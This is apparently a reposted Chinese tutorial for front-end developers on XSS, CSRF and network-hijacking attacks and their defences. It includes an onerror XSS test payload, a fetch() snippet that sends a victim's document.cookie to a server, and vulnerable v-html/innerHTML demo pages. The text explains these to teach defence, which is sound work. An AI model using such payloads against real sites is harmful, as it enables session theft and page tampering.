注意!!CSRF和XSS攻防知识点来了
作者:侯医生
链接:https:segmentfault.com/a/1190000006672214
导读
随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端工程师的我们也逃不开这个问题。所以今天,就和大家一起聊一聊WEB前端的安全那些事儿。这里不去说那些后端的攻击(SQL注入
、DDOS攻击
等),我们就聊一聊前端工程师们需要注意的那些安全知识。
为什么要攻击?
其实真正为了玩的心态去进行黑网站的人,还是少数。多数攻击还是有利益的成分在里面的。我模糊的记得,以前听腾讯的工程师说过一句话,大概是这样的:开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。
防范强如支付宝、QQ等产品,也都曾被报过漏洞,看来防御不是绝对的,我们只能想办法让我们的应用更加安全。
什么是xss攻击
XSS
(Cross Site Scripting跨站脚本
)。XSS定义的主语是“脚本”,是一种跨站执行的脚本,也就是javascript脚本,指的是在网站上注入我们的javascript
脚本,执行非法操作。
XSS
攻击发生的条件是可以执行javascript脚本,一般在站点中总会有发表文章、留言等信息的表单,这种表单一般是写入到数据库中,然后在某个页面进行展示。我们可以在这些表单中直接编写javascript代码(<image onerror="alert('哈哈,你被攻击了')" />
)进行测试,看是否可以执行。如果在信息展示页面js代码可以执行,XSS攻击就成功了。
image图片
用户自动出发而收到的攻击
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./node_modules/vue/dist/vue.js"></script>
</head>
<body>
<div id="app">
<input v-model="tmp" type="text" />
<div v-html="tmp"></div>
</div>
<script>
new Vue({
el: "#app",
data: {
tmp: ""
}
})
</script>
</body>
</html>
请求
如果执行的脚本是一个请求,将其他用户在当前域名下的cookie
获取并发送到自己的服务器上。这样就可以获取他人信息了
fetch("http://localhost:3000/api/products/",{
method:"POST",
body: JSON.stringify({
'盗取的用户cookie': document.cookie
})
}).then(res=>res.json()).then(response=>{})
虽然在innerHTMl[1]中添加
<script></script>
脚本不执行,但是如果添加的是写带有事件的标签,那么还是会存在问题
p标签
p标签
这种攻击就是常用于篡改页面内容,破坏页面结构,引诱用户去点击一些钓鱼等网站的手段。
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="app">
</div>
<script>
fetch("http://localhost:3000/api/v1/products/",{
method:"GET"
}).then(res=>res.json()).then(response=>{
document.getElementById("app").innerHTML= response.name
})
</script>
</body>
</html>
iframe
iframe
这种是广告植入攻击的。
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="app">
</div>
<script>
fetch("http://localhost:3000/api/products/",{
method:"GET"
}).then(res=>res.json()).then(response=>{
document.getElementById("app").innerHTML= response.name
})
</script>
</body>
</html>
如何防范
-
显示
:不要将用户输入的内容显示到页面上。 -
编码
:对用户输入的数据进行 HTML Entity [2]编码。 -
过滤
:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。
什么是CSRF攻击
CSRF
(Cross-site request forgery跨站请求
伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF定义的主语是”请求“,是一种跨站的伪造的请求,指的是跨站伪造用户的请求,模拟用户的操作.
案列
比如攻击者
编写了一个在用户
的银行站点上进行取款的form提交的链接,并将此链接作为图片src。如果用户
的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当用户
的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经用户
同意的情况下便授权了这次转账。
图片转自于:https://blog.csdn.net/weixin_38597669/article/details/90694407
如何防止
1. 检查HTTP
头部 Refer
信息
这是防止 CSRF 的最简单容易实现的一种手段。根据 RFC 对于 HTTP 协议里面 Refer 的定义,Refer 信息跟随出现在每个 Http 请求头部。Server 端在收到请求之后,可以去检查这个头信息,只接受来自本域的请求而忽略外部域的请求,这样就可以避免了很多风险。当然这种检查方式由于过于简单也有它自身的弱点:
-
首先是检查 Refer
信息并不能防范来自本域的攻击。在企业业务网站上,经常会有同域的论坛,邮件等形式的 Web 应用程序存在,来自这些地方的 CSRF 攻击所携带的就是本域的 Refer 域信息,因此不能被这种防御手段所阻止。 -
同样,某些直接发送 HTTP 请求的方式(指非浏览器,比如用后台代码等方法)可以伪造一些 Refer 信息,虽然直接进行头信息伪造的方式属于直接发送请求,很难跟随发 cookie
,但由于目前客户端手段层出不穷,flash,javascript 等大规模使用,从客户端进行 refer的伪造,尤其是在客户端浏览器安装了越来越多的插件的情况下已经成为可能了。
2. Cookie Hashing(所有表单都包含同一个伪随机值)
这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了,但由于网站中存在XSS漏洞而被偷窃的危险。
3. 验证码
这种方法的出现的作用是对于机器人暴力攻击的防止。但在 CSRF 的防范上,也有一些安全性要求比较高的的应用程序结合验证图片和一次性令牌来做双重保护。由于这种 图片验证信息很难被恶意程序在客户端识别,因此能够提高更强的保护。当客户端的浏览器可能已经处于一种不安全的环境中的情况下(比如客户端的安全级别设置较低,客户端浏览器安装了不安全的插件等)。
4. One-Time Tokens(一次性令牌)
一般通过session token
来实现保护。当客户端请求页面时,服务器会生成一个随机数Token,并且将Token放置到session当中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。接收到请求后,服务器端会对Token值进行验证,判断是否和session中的Token值相等,若相等,则可以证明请求有效,不是伪造的。
在实现One-Time Tokens
时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。
另外,这里的session token
机制也可用于注册或者cms文章添加等功能上,可以用来防止用户"重复提交",相比于上面的CSRF方案是这样的:服务器端第一次验证相同过后,会将涩session中的Token值更新下,若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中的Token没变,但服务器端session中Token已经改变了。
网络劫持攻击
很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层
的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi
,如果这个wifi
是黑客所建立的热点wifi
,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。
如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。
控制台注入代码
天猫这种做法,也是在警告用户不要这么做,看来天猫的前端安全做的也是很到位的。不过,这种攻击毕竟是少数,所以各位看官看一眼就行,如果真的发现有的用户会被这样攻击的话,记得想起天猫的这种解决方案。
开发要注意些什么?
-
开发时要提防用户产生的内容,要对用户输入的信息进行层层检测。 -
要注意对用户的输出内容进行过滤(进行转义等)。 -
重要的内容记得要加密传输(无论是利用 https
也好,自己加密也好)。 -
get
请求与post
请求,要严格遵守规范,不要混用,不要将一些危险的提交使用jsonp完成。 -
对于URL上携带的信息,要谨慎使用。 -
心中时刻记着,自己的网站哪里可能有危险。
最后
虽然这些都是一些老生常谈的问题了,但是毕竟web安全是个很大的面,可以让各位开发者的网站变得更安全。
参考资料
innerHTML: https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML#%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98
[2]HTML Entity: https://www.cnblogs.com/polk6/p/html-entity.html
点击下面👇[分享]、[赞]、[在看]是对小编最大的支持🤞